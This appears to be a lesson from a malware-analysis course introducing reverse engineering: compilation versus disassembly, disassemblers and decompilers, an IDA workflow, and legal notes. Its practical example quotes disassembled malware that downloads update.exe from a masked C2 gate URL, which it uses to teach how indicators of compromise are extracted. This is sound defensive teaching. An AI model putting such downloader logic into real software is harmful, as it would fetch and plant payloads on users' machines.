Introduction to Reverse Engineering

Definition

Reverse engineering is the process of analysing a compiled binary to understand its internal logic without access to the original source code. In malware analysis, this means reading disassembly (or decompiled pseudocode) to determine what the malware does, how it does it, and where it can be stopped.

When you open a malware sample in IDA Pro and start reading the disassembly, you are reverse engineering it.

Why Bother?

Static and dynamic analysis can tell you that a sample encrypts files and contacts a C2 server. Only reverse engineering tells you:

• Which encryption algorithm it uses
• How the C2 protocol works at the byte level
• What the key derivation function is
• Whether there is a flaw in the implementation that allows decryption without paying the ransom

That last question has been answered positively for multiple ransomware families:

• Jigsaw used a hardcoded key extractable directly from the binary
• GandCrab v1 had a weakness in random number generation for key creation
• Some Petya variants had implementation flaws that made encryption reversible

In each case, the breakthrough came from reading the assembly — not from observing runtime behaviour.

From Source Code to Machine Code

When a programmer writes C and compiles it, the output is machine code: raw binary instructions that the CPU executes directly. Assembly language is the human-readable representation of those bytes. Each assembly instruction maps to one or a few machine-code bytes.

Refer to REMA eBook 2026, Figure 1.12 for the full compilation pipeline diagram showing the direction of compilation vs. reverse engineering.

The analyst works right to left — the opposite direction of the compiler.

C Source  →  Assembly  →  Machine Code   (Compilation)
C Source  ←  Assembly  ←  Machine Code   (Reverse Engineering)

Concrete example

C Source	x86 Assembly	Machine Code (Hex)
int x = 5;	MOV DWORD [EBP-4], 5	C7 45 FC 05 00 00 00
x = x + 3;	ADD DWORD [EBP-4], 3	83 45 FC 03

A reverse engineer given only the hex bytes B8 01 00 00 00 on disk sees the assembly instruction MOV EAX, 1 after disassembly. From there, the analyst reasons about the original logic.

Disassemblers vs. Decompilers

Tool Type	What It Produces	Accuracy
Disassembler	Assembly language	Exact — one-to-one with machine code
Decompiler	Pseudocode approximating C	Approximate — some detail is lost

A disassembler (IDA Pro, Ghidra) converts raw bytes back into assembly. The result is exact.

A decompiler (Hex-Rays, Ghidra's built-in) attempts to reconstruct higher-level logic from the assembly. The result is useful but approximate — variable names are lost, some constructs do not round-trip cleanly, and compiler optimisations can make the output look strange.

Both tools are used in practice. The decompiler is faster for understanding high-level logic; the disassembler is necessary for precise analysis of low-level behaviour.

Reading Disassembly: A Practical Example

Consider this four-instruction sequence encountered during analysis of a suspicious binary:

PUSH  0                       ; dwFlags = 0
PUSH  offset szUrl            ; "http://185.62.x.x/gate.php"
PUSH  offset szLocalPath      ; "C:\Users\...\Temp\update.exe"
CALL  URLDownloadToFileA

Without running the binary, the analyst can determine:

1. The malware downloads a file from a hardcoded URL
2. The URL is a C2 gate endpoint
3. The downloaded file is saved as update.exe in the user's Temp directory

All three become Indicators of Compromise for the incident report. The IP address goes into the firewall blocklist. The file path goes into the EDR detection rule. Four instructions, three actionable IOCs.

The Reverse Engineering Workflow

1. Open sample in IDA Pro or Ghidra
2. Auto-analysis completes (cross-references, function detection)
3. Navigate to entry point
4. Switch to graph view (Spacebar in IDA)
5. Double-click CALL instructions to follow into functions
6. Press F5 (IDA) for decompiled pseudocode view
7. Press X for cross-references to any address
8. Rename variables and functions as you understand them
9. Add comments throughout
10. Build a picture of the full execution flow

The process is iterative — understanding one function helps decode another. Good analysts document as they go; the comments and renamed functions become the analysis report.

Legality Note

Reverse engineering malware for defensive, educational, and security research purposes is legal in most jurisdictions:

• United States: DMCA §1201(f) and (j) provide exceptions for security research
• European Union: Software Directive 2009/24/EC permits RE for interoperability and security testing
• India: IT Act 2000 (amended 2008) does not prohibit RE for security research or education

The core legal distinction: Writing, distributing, or deploying malware is illegal. Analysing malware for defensive purposes, research, or education is legal. All analysis in this course uses samples from legitimate sources (CrackMes, MalwareBazaar, instructor-provided binaries) inside isolated lab environments.